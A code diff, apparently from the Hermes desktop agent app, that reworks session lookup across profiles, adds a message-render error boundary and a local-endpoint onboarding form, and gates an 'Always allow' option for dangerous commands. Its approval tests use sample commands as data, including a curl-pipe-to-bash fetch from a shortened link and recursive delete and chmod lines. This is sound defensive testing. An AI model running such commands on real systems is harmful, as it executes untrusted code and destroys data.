|
||||
// top rows. Same carve-out as USER_BUBBLE_BASE_CLASS in
|
||||
// thread.tsx.
|
||||
'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out [-webkit-app-region:no-drag] hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
|
||||
active &&
|
||||
'border-(--ui-stroke-tertiary) bg-(--ui-control-active-background) text-foreground shadow-none hover:border-(--ui-stroke-tertiary)!',
|
||||
!isInteractive &&
|
||||
|
||||
@@ -88,7 +88,7 @@ function useSessionActions({ sessionId, title, pinned = false, profile, onPin, o
|
||||
label: r.export,
|
||||
onSelect: () => {
|
||||
triggerHaptic('selection')
|
||||
void exportSession(sessionId, { title })
|
||||
void exportSession(sessionId, { profile, title })
|
||||
}
|
||||
},
|
||||
{
|
||||
|
||||
@@ -8,7 +8,7 @@ import { HUD_HEADING, HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from '@/ap
|
||||
import { setTerminalTakeover } from '@/app/right-sidebar/store'
|
||||
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
|
||||
import { KbdGroup } from '@/components/ui/kbd'
|
||||
import { getHermesConfigRecord, listSessions } from '@/hermes'
|
||||
import { getHermesConfigRecord, listAllProfileSessions } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import {
|
||||
@@ -119,7 +119,7 @@ const paletteFilter = (value: string, search: string, keywords?: string[]): numb
|
||||
return needle.split(/\s+/).every(term => haystack.includes(term)) ? 1 : 0
|
||||
}
|
||||
|
||||
type SessionRow = Awaited<ReturnType<typeof listSessions>>['sessions'][number]
|
||||
type SessionRow = Awaited<ReturnType<typeof listAllProfileSessions>>['sessions'][number]
|
||||
|
||||
const toSessionEntry = (session: SessionRow): SessionEntry => ({
|
||||
id: session.id,
|
||||
@@ -218,13 +218,13 @@ export function CommandPalette() {
|
||||
|
||||
const sessionsQuery = useQuery({
|
||||
queryKey: ['command-palette', 'sessions'],
|
||||
queryFn: () => listSessions(200, 1, 'exclude'),
|
||||
queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
|
||||
enabled: open
|
||||
})
|
||||
|
||||
const archivedQuery = useQuery({
|
||||
queryKey: ['command-palette', 'archived'],
|
||||
queryFn: () => listSessions(200, 0, 'only'),
|
||||
queryFn: () => listAllProfileSessions(200, 0, 'only'),
|
||||
enabled: open
|
||||
})
|
||||
|
||||
|
||||
@@ -547,7 +547,9 @@ export function DesktopController() {
|
||||
return
|
||||
}
|
||||
|
||||
const storedProfile = $sessions.get().find(session => session.id === storedSessionId)?.profile
|
||||
const storedProfile = $sessions
|
||||
.get()
|
||||
.find(session => session.id === storedSessionId || session._lineage_root_id === storedSessionId)?.profile
|
||||
|
||||
for (let index = 0; index < Math.max(1, attempts); index += 1) {
|
||||
try {
|
||||
|
||||
@@ -315,8 +315,11 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
|
||||
allowTransparency: true,
|
||||
convertEol: true,
|
||||
cursorBlink: true,
|
||||
fontFamily: "'SF Mono', 'Menlo', 'Cascadia Code', 'JetBrains Mono', monospace",
|
||||
fontFamily: "'JetBrains Mono', 'Cascadia Code', 'SF Mono', Menlo, Consolas, monospace",
|
||||
fontSize: 11,
|
||||
fontWeight: '400',
|
||||
fontWeightBold: '700',
|
||||
letterSpacing: 0,
|
||||
lineHeight: 1.12,
|
||||
// Full-screen TUIs (hermes --tui, vim) grab the mouse, so a plain drag
|
||||
// can't select — ⌥-drag (macOS) / Shift-drag (else) forces a native
|
||||
@@ -598,13 +601,13 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
|
||||
startSession()
|
||||
}
|
||||
|
||||
const fonts = typeof document !== 'undefined' ? document.fonts : undefined
|
||||
// fonts.ready settles only already-requested faces; bold/italic aren't asked
|
||||
// for until styled output paints (past atlas init), so warm them up front.
|
||||
const warm = document.fonts?.load
|
||||
? Promise.allSettled(['400', '700', 'italic 400'].map(v => document.fonts.load(`${v} 11px 'JetBrains Mono'`)))
|
||||
: Promise.resolve()
|
||||
|
||||
if (fonts?.ready) {
|
||||
void fonts.ready.then(mount, mount)
|
||||
} else {
|
||||
mount()
|
||||
}
|
||||
void warm.then(mount, mount)
|
||||
|
||||
return () => {
|
||||
disposed = true
|
||||
|
||||
@@ -933,6 +933,8 @@ export function useMessageStream({
|
||||
// raise it and wait — the sidebar flags "needs input" and the inline bar
|
||||
// surfaces once the user focuses that chat.
|
||||
setApprovalRequest({
|
||||
// false only when a tirith warning forbids it; backend omits the field otherwise.
|
||||
allowPermanent: payload?.allow_permanent !== false,
|
||||
command: typeof payload?.command === 'string' ? payload.command : '',
|
||||
description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
|
||||
sessionId: sessionId ?? null
|
||||
|
||||
@@ -2,7 +2,7 @@ import type { MutableRefObject } from 'react'
|
||||
import { useCallback, useRef } from 'react'
|
||||
import type { NavigateFunction } from 'react-router-dom'
|
||||
|
||||
import { deleteSession, getSessionMessages, setSessionArchived } from '@/hermes'
|
||||
import { deleteSession, getSessionMessages, listAllProfileSessions, setSessionArchived } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { type ChatMessage, chatMessageText, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
|
||||
import { normalizePersonalityValue } from '@/lib/chat-runtime'
|
||||
@@ -209,6 +209,46 @@ function patchSessionWorkspace(sessionId: string, cwd: string | undefined) {
|
||||
setSessions(prev => prev.map(session => (session.id === sessionId ? { ...session, cwd } : session)))
|
||||
}
|
||||
|
||||
function sessionMatchesStoredId(session: SessionInfo, storedSessionId: string): boolean {
|
||||
return session.id === storedSessionId || session._lineage_root_id === storedSessionId
|
||||
}
|
||||
|
||||
function upsertResolvedSession(session: SessionInfo, storedSessionId: string) {
|
||||
const lineage = session._lineage_root_id ?? session.id
|
||||
|
||||
setSessions(prev => [
|
||||
session,
|
||||
...prev.filter(existing => {
|
||||
if (sessionMatchesStoredId(existing, storedSessionId)) {
|
||||
return false
|
||||
}
|
||||
|
||||
return (existing._lineage_root_id ?? existing.id) !== lineage
|
||||
})
|
||||
])
|
||||
}
|
||||
|
||||
async function resolveStoredSession(storedSessionId: string): Promise<SessionInfo | undefined> {
|
||||
const cached = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (cached) {
|
||||
return cached
|
||||
}
|
||||
|
||||
try {
|
||||
const result = await listAllProfileSessions(500, 0, 'include', 'recent', 'all')
|
||||
const resolved = result.sessions.find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (resolved) {
|
||||
upsertResolvedSession(resolved, storedSessionId)
|
||||
}
|
||||
|
||||
return resolved
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
}
|
||||
|
||||
type SessionRuntimeStatePatch = Partial<
|
||||
Pick<
|
||||
ClientSessionState,
|
||||
@@ -480,8 +520,13 @@ export function useSessionActions({
|
||||
|
||||
// Swap the single live gateway to this session's profile before any
|
||||
// gateway call (no-op when it's already on that profile / single-profile).
|
||||
const storedForProfile = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const storedForProfile = await resolveStoredSession(storedSessionId)
|
||||
const sessionProfile = storedForProfile?.profile
|
||||
|
||||
if (resumeRequestRef.current !== requestId) {
|
||||
return
|
||||
}
|
||||
|
||||
await ensureGatewayProfile(sessionProfile)
|
||||
|
||||
const cachedRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
|
||||
@@ -549,7 +594,7 @@ export function useSessionActions({
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
setSessionStartedAt(Date.now())
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
applyStoredSessionPreviewRuntimeInfo(stored)
|
||||
|
||||
if (stored) {
|
||||
@@ -799,7 +844,7 @@ export function useSessionActions({
|
||||
async (storedSessionId: string) => {
|
||||
clearNotifications()
|
||||
|
||||
const removed = $sessions.get().find(s => s.id === storedSessionId)
|
||||
const removed = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
const wasSelected = selectedStoredSessionId === storedSessionId
|
||||
const closingRuntimeId = wasSelected ? activeSessionId : null
|
||||
const previousMessages = $messages.get()
|
||||
@@ -808,7 +853,7 @@ export function useSessionActions({
|
||||
// live tip after compression. Drop both so the pin can't linger.
|
||||
const removedPinId = removed ? sessionPinId(removed) : storedSessionId
|
||||
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
// Keep $sessionsTotal in sync so the sidebar's "Load N more" footer
|
||||
// doesn't keep claiming the removed row is still on the server.
|
||||
setSessionsTotal(prev => Math.max(0, prev - 1))
|
||||
@@ -843,7 +888,7 @@ export function useSessionActions({
|
||||
setFreshDraftReady(false)
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (stored) {
|
||||
setCurrentUsage(current => ({
|
||||
@@ -882,7 +927,7 @@ export function useSessionActions({
|
||||
async (storedSessionId: string) => {
|
||||
clearNotifications()
|
||||
|
||||
const archived = $sessions.get().find(s => s.id === storedSessionId)
|
||||
const archived = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
const wasSelected = selectedStoredSessionId === storedSessionId
|
||||
const previousPinned = $pinnedSessionIds.get()
|
||||
// Pins are keyed on the durable lineage-root id; the stored id may be the
|
||||
@@ -890,7 +935,7 @@ export function useSessionActions({
|
||||
const archivedPinId = archived ? sessionPinId(archived) : storedSessionId
|
||||
|
||||
// Soft-hide: drop from the sidebar immediately, keep the data.
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
// Archived sessions are hidden by the listSessions(min_messages=1) query
|
||||
// on the next refresh, so they count as "removed" for the load-more
|
||||
// footer math.
|
||||
@@ -907,12 +952,12 @@ export function useSessionActions({
|
||||
// in flight and briefly reinsert the still-unarchived backend row. Win
|
||||
// that race after the mutation succeeds so right-click → Archive does
|
||||
// not appear to do nothing until the next full refresh.
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
$pinnedSessionIds.set($pinnedSessionIds.get().filter(id => id !== storedSessionId && id !== archivedPinId))
|
||||
notify({ durationMs: 2_000, kind: 'success', message: copy.archived })
|
||||
} catch (err) {
|
||||
if (archived) {
|
||||
setSessions(prev => [archived, ...prev.filter(s => s.id !== storedSessionId)])
|
||||
setSessions(prev => [archived, ...prev.filter(session => !sessionMatchesStoredId(session, storedSessionId))])
|
||||
setSessionsTotal(prev => prev + 1)
|
||||
}
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ import type { AuxiliaryModelsResponse, ModelOptionProvider, StaleAuxAssignment }
|
||||
import { useI18n } from '@/i18n'
|
||||
import { AlertTriangle, Cpu, Loader2 } from '@/lib/icons'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { startManualProviderOAuth } from '@/store/onboarding'
|
||||
import { startManualLocalEndpoint, startManualProviderOAuth } from '@/store/onboarding'
|
||||
|
||||
import { CONTROL_TEXT } from './constants'
|
||||
import { ListRow, LoadingState, Pill, SectionHeading } from './primitives'
|
||||
@@ -224,10 +224,23 @@ export function ModelSettings({ onMainModelChanged }: ModelSettingsProps) {
|
||||
}, [apiKeyDraft, selectedProviderRow])
|
||||
|
||||
// OAuth / external providers can't be activated with a pasted key — hand off
|
||||
// to the shared onboarding flow scoped to this provider's real sign-in.
|
||||
// to the shared onboarding flow scoped to this provider's real sign-in. The
|
||||
// custom / local endpoint is NOT an OAuth provider, so it gets the dedicated
|
||||
// local-endpoint form (URL + optional API key) instead of being dead-ended
|
||||
// on the OAuth picker (the original "booted back to the first screen" loop).
|
||||
const startProviderSetup = useCallback(() => {
|
||||
if (selectedProviderRow?.slug) {
|
||||
startManualProviderOAuth(selectedProviderRow.slug)
|
||||
const slug = selectedProviderRow?.slug
|
||||
|
||||
if (!slug) {
|
||||
return
|
||||
}
|
||||
|
||||
const lower = slug.toLowerCase()
|
||||
|
||||
if (lower === 'custom' || lower === 'local' || lower.startsWith('custom:')) {
|
||||
startManualLocalEndpoint()
|
||||
} else {
|
||||
startManualProviderOAuth(slug)
|
||||
}
|
||||
}, [selectedProviderRow])
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
|
||||
|
||||
import { Button } from '@/components/ui/button'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { deleteSession, listSessions, setSessionArchived } from '@/hermes'
|
||||
import { deleteSession, listAllProfileSessions, setSessionArchived } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { triggerHaptic } from '@/lib/haptics'
|
||||
@@ -43,14 +43,14 @@ export function SessionsSettings() {
|
||||
setLoading(true)
|
||||
|
||||
try {
|
||||
const result = await listSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
|
||||
const result = await listAllProfileSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
|
||||
setLocalSessions(result.sessions)
|
||||
} catch (err) {
|
||||
notifyError(err, s.failedLoad)
|
||||
} finally {
|
||||
setLoading(false)
|
||||
}
|
||||
}, [])
|
||||
}, [s.failedLoad])
|
||||
|
||||
useEffect(() => {
|
||||
void load()
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
import { cleanup, render, screen } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { MessageRenderBoundary } from './message-render-boundary'
|
||||
|
||||
afterEach(cleanup)
|
||||
|
||||
function Boom({ error }: { error: Error | null }): null {
|
||||
if (error) {
|
||||
throw error
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
const lookupError = new Error('tapClientLookup: Index 2 out of bounds (length: 2)')
|
||||
|
||||
describe('MessageRenderBoundary', () => {
|
||||
it('renders children when nothing throws', () => {
|
||||
render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<div>content</div>
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(screen.getByText('content')).toBeTruthy()
|
||||
})
|
||||
|
||||
it('swallows the transient tapClientLookup out-of-bounds store race', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
const { container } = render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={lookupError} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(container.innerHTML).toBe('')
|
||||
spy.mockRestore()
|
||||
})
|
||||
|
||||
it('recovers on the next consistent snapshot when resetKey changes', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
const { rerender } = render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={lookupError} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
rerender(
|
||||
<MessageRenderBoundary resetKey="b">
|
||||
<Boom error={null} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
rerender(
|
||||
<MessageRenderBoundary resetKey="b">
|
||||
<div>recovered</div>
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(screen.getByText('recovered')).toBeTruthy()
|
||||
spy.mockRestore()
|
||||
})
|
||||
|
||||
it('re-throws unrelated errors so real bugs still surface', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
expect(() =>
|
||||
render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={new Error('genuine render bug')} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
).toThrow('genuine render bug')
|
||||
|
||||
spy.mockRestore()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,48 @@
|
||||
import { Component, type ReactNode } from 'react'
|
||||
|
||||
// `@assistant-ui/store`'s index-keyed child-scope lookup (`tapClientLookup`)
|
||||
// throws — rather than returning undefined — when a subscriber reads an index
|
||||
// that the message/parts list no longer has. This races during high-frequency
|
||||
// store replacement (session switch mid-stream, gateway reconnect replay): a
|
||||
// subscriber from the previous, longer list is still in React's notification
|
||||
// queue and reads one slot past the new, shorter array before it can unmount.
|
||||
// The throw is transient and self-heals on the next consistent snapshot, but
|
||||
// without a local boundary it unwinds to the root and blanks the whole app.
|
||||
// Upstream-tracked: assistant-ui/assistant-ui#4051, #3652.
|
||||
const isTransientLookupError = (error: unknown): boolean =>
|
||||
error instanceof Error && /tapClient(Lookup|Resource).*out of bounds/.test(error.message)
|
||||
|
||||
interface Props {
|
||||
// Changes whenever the message list mutates; remounting clears the caught
|
||||
// error so the next consistent render recovers silently.
|
||||
resetKey: string
|
||||
children: ReactNode
|
||||
}
|
||||
|
||||
export class MessageRenderBoundary extends Component<Props, { error: Error | null }> {
|
||||
state: { error: Error | null } = { error: null }
|
||||
|
||||
static getDerivedStateFromError(error: Error) {
|
||||
return { error }
|
||||
}
|
||||
|
||||
componentDidUpdate(prev: Props) {
|
||||
if (this.state.error && prev.resetKey !== this.props.resetKey) {
|
||||
this.setState({ error: null })
|
||||
}
|
||||
}
|
||||
|
||||
render() {
|
||||
if (this.state.error) {
|
||||
// Only swallow the transient store race; re-throw anything else so real
|
||||
// bugs still reach the root error boundary.
|
||||
if (!isTransientLookupError(this.state.error)) {
|
||||
throw this.state.error
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
return this.props.children
|
||||
}
|
||||
}
|
||||
@@ -16,6 +16,8 @@ import { setMutableRef } from '@/lib/mutable-ref'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { setThreadScrolledUp } from '@/store/thread-scroll'
|
||||
|
||||
import { MessageRenderBoundary } from './message-render-boundary'
|
||||
|
||||
const ESTIMATED_ITEM_HEIGHT = 220
|
||||
const OVERSCAN = 4
|
||||
const AT_BOTTOM_THRESHOLD = 4
|
||||
@@ -180,18 +182,20 @@ const VirtualizedThreadInner: FC<VirtualizedThreadProps> = ({
|
||||
key={virtualItem.key}
|
||||
ref={virtualizer.measureElement}
|
||||
>
|
||||
{group.kind === 'turn' ? (
|
||||
<div
|
||||
className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
|
||||
data-slot="aui_turn-pair"
|
||||
>
|
||||
{group.indices.map(index => (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={group.index} />
|
||||
)}
|
||||
<MessageRenderBoundary resetKey={messageSignature}>
|
||||
{group.kind === 'turn' ? (
|
||||
<div
|
||||
className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
|
||||
data-slot="aui_turn-pair"
|
||||
>
|
||||
{group.indices.map(index => (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={group.index} />
|
||||
)}
|
||||
</MessageRenderBoundary>
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import type { HermesGateway } from '@/hermes'
|
||||
import { $gateway } from '@/store/gateway'
|
||||
@@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'
|
||||
import { PendingToolApproval } from './tool-approval'
|
||||
import type { ToolPart } from './tool-fallback-model'
|
||||
|
||||
// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
|
||||
// doesn't implement; stub them so the menu can open in tests.
|
||||
beforeAll(() => {
|
||||
const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
|
||||
|
||||
const stubs: Record<string, () => unknown> = {
|
||||
hasPointerCapture: () => false,
|
||||
releasePointerCapture: () => undefined,
|
||||
scrollIntoView: () => undefined,
|
||||
setPointerCapture: () => undefined
|
||||
}
|
||||
|
||||
for (const [name, fn] of Object.entries(stubs)) {
|
||||
proto[name] ??= fn
|
||||
}
|
||||
})
|
||||
|
||||
function part(toolName: string): ToolPart {
|
||||
return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
|
||||
}
|
||||
|
||||
function setRequest(command = 'rm -rf /tmp/x') {
|
||||
function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
|
||||
$activeSessionId.set('sess-1')
|
||||
setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
|
||||
setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
|
||||
}
|
||||
|
||||
function mockGateway() {
|
||||
@@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {
|
||||
expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
|
||||
})
|
||||
})
|
||||
|
||||
it('offers "Always allow" in the options menu by default', async () => {
|
||||
setRequest('chmod -R 777 /tmp/x')
|
||||
render(<PendingToolApproval part={part('terminal')} />)
|
||||
|
||||
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
||||
|
||||
expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
|
||||
expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
||||
})
|
||||
|
||||
it('hides "Always allow" when the backend disallows a permanent allow', async () => {
|
||||
// tirith content-security warning present → allowPermanent=false.
|
||||
setRequest('curl https://bit.ly/abc | bash', false)
|
||||
render(<PendingToolApproval part={part('terminal')} />)
|
||||
|
||||
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
||||
|
||||
// The session + reject options still render, but never the permanent allow.
|
||||
expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
||||
expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
@@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
|
||||
// it goes through a confirm step rather than firing straight from the menu.
|
||||
const [confirmAlways, setConfirmAlways] = useState(false)
|
||||
const busy = submitting !== null
|
||||
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
|
||||
const allowPermanent = request.allowPermanent !== false
|
||||
|
||||
const respond = useCallback(
|
||||
async (choice: ApprovalChoice) => {
|
||||
@@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="start" className="min-w-44">
|
||||
<DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
onSelect={() => {
|
||||
// Defer one tick so the menu fully unmounts before the dialog
|
||||
// mounts — otherwise Radix's focus-return races the dialog and
|
||||
// dismisses it via onInteractOutside.
|
||||
setTimeout(() => setConfirmAlways(true), 0)
|
||||
}}
|
||||
>
|
||||
{copy.alwaysAllowMenu}
|
||||
</DropdownMenuItem>
|
||||
{allowPermanent && (
|
||||
<DropdownMenuItem
|
||||
onSelect={() => {
|
||||
// Defer one tick so the menu fully unmounts before the dialog
|
||||
// mounts — otherwise Radix's focus-return races the dialog and
|
||||
// dismisses it via onInteractOutside.
|
||||
setTimeout(() => setConfirmAlways(true), 0)
|
||||
}}
|
||||
>
|
||||
{copy.alwaysAllowMenu}
|
||||
</DropdownMenuItem>
|
||||
)}
|
||||
<DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
|
||||
{copy.reject}
|
||||
</DropdownMenuItem>
|
||||
|
||||
@@ -279,11 +279,14 @@ function ToolEntry({ part }: ToolEntryProps) {
|
||||
|
||||
const copyAction = useMemo(() => toolCopyPayload(part, view), [part, view])
|
||||
|
||||
// The header trailing slot only carries the live duration timer while the
|
||||
// tool is running. The copy control used to live here too, but an
|
||||
// `opacity-0` (yet still clickable) button straddling the caret/duration made
|
||||
// the disclosure caret hard to hit. Copy now lives in the expanded body's
|
||||
// top-right, where it can't fight the caret for the right edge.
|
||||
const trailing =
|
||||
isPending && !embedded ? (
|
||||
<ActivityTimerText className={TOOL_HEADER_DURATION_CLASS} seconds={elapsed} />
|
||||
) : !isPending && copyAction.text ? (
|
||||
<CopyButton appearance="tool-row" label={copyAction.label} stopPropagation text={copyAction.text} />
|
||||
) : undefined
|
||||
|
||||
return (
|
||||
@@ -322,7 +325,18 @@ function ToolEntry({ part }: ToolEntryProps) {
|
||||
</div>
|
||||
{isPending && <PendingToolApproval part={part} />}
|
||||
{open && (
|
||||
<div className="grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
|
||||
<div className="relative grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
|
||||
{copyAction.text && (
|
||||
<CopyButton
|
||||
appearance="inline"
|
||||
className="absolute right-1.5 top-1.5 z-10 h-5 gap-0 rounded-md border border-(--ui-stroke-tertiary) bg-background/80 px-1 opacity-60 backdrop-blur-sm transition-opacity hover:opacity-100 focus-visible:opacity-100"
|
||||
iconClassName="size-3"
|
||||
label={copyAction.label}
|
||||
showLabel={false}
|
||||
stopPropagation
|
||||
text={copyAction.text}
|
||||
/>
|
||||
)}
|
||||
{!embedded && view.previewTarget && isPreviewableTarget(view.previewTarget) && (
|
||||
<PreviewAttachment source="tool-result" target={view.previewTarget} />
|
||||
)}
|
||||
|
||||
@@ -127,7 +127,9 @@ const InlineSegmentView: FC<{ text: string }> = ({ text }) => {
|
||||
const nodes = useMemo(() => splitInlineCode(text), [text])
|
||||
|
||||
return (
|
||||
<span className="wrap-anywhere block whitespace-pre-line">
|
||||
// styles.css bidi hook (#44150); whitespace-pre-line makes each line its own
|
||||
// UAX#9 paragraph so it resolves direction independently.
|
||||
<span className="wrap-anywhere block whitespace-pre-line" data-slot="aui_user-inline-text">
|
||||
{nodes.map((node, nodeIndex) =>
|
||||
node.kind === 'inline-code' ? (
|
||||
<code
|
||||
|
||||
@@ -26,7 +26,8 @@ function setProviders(providers: OAuthProvider[]) {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
} satisfies DesktopOnboardingState)
|
||||
}
|
||||
|
||||
@@ -49,7 +50,8 @@ afterEach(() => {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
@@ -430,19 +430,24 @@ const persistShowAll = (value: boolean) => {
|
||||
|
||||
export function Picker({ ctx }: { ctx: OnboardingContext }) {
|
||||
const { t } = useI18n()
|
||||
const { manual, mode, providers } = useStore($desktopOnboarding)
|
||||
const { localEndpoint, manual, mode, providers } = useStore($desktopOnboarding)
|
||||
const [showAll, setShowAll] = useState(readShowAll)
|
||||
const ordered = useMemo(() => (providers ? sortProviders(providers) : []), [providers])
|
||||
const hasOauth = ordered.length > 0
|
||||
const apiKeyOptions = useApiKeyCatalog()
|
||||
|
||||
if (mode === 'apikey' || !hasOauth) {
|
||||
// localEndpoint forces the key form regardless of `mode` (which a manual
|
||||
// provider refresh may flip back to 'oauth'); it preselects the local option
|
||||
// and hides the "back to sign in" link since the user came specifically to
|
||||
// configure a custom endpoint.
|
||||
if (localEndpoint || mode === 'apikey' || !hasOauth) {
|
||||
return (
|
||||
<div className="grid gap-3">
|
||||
<ApiKeyForm
|
||||
canGoBack={hasOauth}
|
||||
canGoBack={hasOauth && !localEndpoint}
|
||||
initialEnvKey={localEndpoint ? 'OPENAI_BASE_URL' : undefined}
|
||||
onBack={() => setOnboardingMode('oauth')}
|
||||
onSave={(envKey, value, name) => saveOnboardingApiKey(envKey, value, name, ctx)}
|
||||
onSave={(envKey, value, name, apiKey) => saveOnboardingApiKey(envKey, value, name, ctx, apiKey)}
|
||||
options={apiKeyOptions}
|
||||
/>
|
||||
{manual ? null : (
|
||||
@@ -630,6 +635,7 @@ export function ProviderRow({
|
||||
// surfaces render the identical form.
|
||||
export function ApiKeyForm({
|
||||
canGoBack,
|
||||
initialEnvKey,
|
||||
isSet,
|
||||
onBack,
|
||||
onClear,
|
||||
@@ -638,16 +644,31 @@ export function ApiKeyForm({
|
||||
redactedValue
|
||||
}: {
|
||||
canGoBack: boolean
|
||||
/** Preselect a specific option by env key (e.g. 'OPENAI_BASE_URL' to land on
|
||||
* the local / custom endpoint form). Falls back to the first option. */
|
||||
initialEnvKey?: string
|
||||
isSet?: (envKey: string) => boolean
|
||||
onBack: () => void
|
||||
onClear?: (envKey: string) => void
|
||||
onSave: (envKey: string, value: string, name: string) => Promise<{ message?: string; ok: boolean }>
|
